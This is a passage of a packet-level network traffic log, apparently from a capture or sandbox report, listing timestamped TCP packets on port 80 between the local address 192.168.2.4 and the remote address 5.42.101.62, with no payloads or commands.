Sep 30, 2024 12:22:33.155864000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.155899048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.155914068 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.155935049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.155947924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.155970097 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156002045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156002998 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156029940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156038046 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156049013 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156104088 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156106949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156141043 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156157017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156176090 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156194925 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156209946 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156232119 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156243086 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156255960 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156276941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156291962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156327963 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156333923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156367064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156377077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156399965 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156419039 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156449080 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156454086 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156490088 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156505108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156524897 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156546116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156558037 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156568050 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156590939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156613111 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156636953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156645060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156678915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156697989 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156711102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156735897 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156744003 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156755924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156776905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156789064 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156810999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156826019 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156843901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156869888 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156892061 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156897068 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156929970 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156949997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.156963110 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.156974077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157001972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157016039 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157035112 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157051086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157068014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157088041 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157099962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157114029 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157133102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157150984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157166004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157177925 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157198906 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157210112 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157231092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157248020 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157263041 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157270908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157314062 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157318115 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157351017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157377958 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157397985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157402992 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157438040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157454014 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157471895 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157485008 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157506943 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157522917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157541037 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157565117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157574892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157588005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157608986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157625914 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157641888 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157660007 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157677889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157697916 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157710075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157720089 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157742977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157761097 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157774925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157783985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157809019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157824993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157843113 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157862902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157876015 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157885075 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157907963 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157922983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157941103 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157963037 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.157974005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.157989025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.158014059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.158029079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.158046961 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.158063889 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.158082008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.158101082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.158116102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.158123970 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.158163071 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.176562071 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.182519913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.360649109 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.360696077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.360755920 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.360766888 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.360826969 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.360893965 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.360920906 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.360922098 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.360922098 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.360946894 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.360959053 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.360980988 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.361006975 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.361031055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.361051083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.361083984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.361104965 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.361126900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.361129045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.361181974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.361192942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.361227036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.361243010 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.361258030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.361282110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.361309052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.361323118 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.361342907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.361356974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.361377001 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.361394882 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.361426115 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.361432076 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.361464977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.361485958 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.361500025 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.361509085 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.361541033 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.361548901 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.361576080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.361589909 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.361612082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.361629009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.361644983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.361671925 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.361694098 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.361697912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.361732006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.361748934 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.361764908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.361779928 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.361799002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.361814022 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.361844063 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.361850977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.361886024 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.361901999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.361918926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.361937046 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.361953020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.361967087 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.361989975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.362004042 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362032890 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.362045050 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362066984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.362082005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362102985 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.362119913 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362135887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.362149000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362184048 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362188101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.362221956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.362237930 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362257957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.362277031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362306118 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362308025 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.362344027 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.362364054 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362377882 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.362392902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362412930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.362432003 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362458944 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362468004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.362503052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.362509012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362545967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362555981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.362591028 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.362603903 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362623930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.362642050 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362658978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.362664938 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362709045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362713099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.362746954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.362761974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362783909 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.362802029 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362818956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.362828016 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362845898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.362864017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362879038 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.362893105 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362915039 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.362929106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362963915 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.362967014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363008022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363017082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.363055944 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.363059998 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363094091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363107920 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.363126993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363142967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.363162041 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363173962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.363210917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.363214016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363250017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363265038 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.363282919 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363301992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.363321066 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363323927 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.363370895 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.363373041 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363416910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.363430023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363462925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363476992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.363497019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363517046 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.363547087 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.363549948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363584995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363604069 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.363622904 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363627911 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.363652945 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363677025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.363687038 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363697052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.363719940 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363743067 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.363754034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363760948 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.363784075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363801956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.363816023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363831997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.363850117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363864899 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.363903999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363915920 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.363951921 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.363960028 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.363996983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364012003 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364029884 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364048958 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364065886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364072084 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364099979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364114046 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364134073 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364152908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364166975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364176989 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364202976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364214897 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364237070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364254951 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364270926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364304066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364305973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364325047 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364340067 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364352942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364372969 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364388943 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364404917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364423990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364435911 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364449024 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364469051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364490032 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364501953 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364514112 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364536047 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364551067 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364567995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364584923 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364603996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364636898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364667892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364701033 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364731073 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364731073 CEST	52534	80	192.168.2.4	5.42.101.62
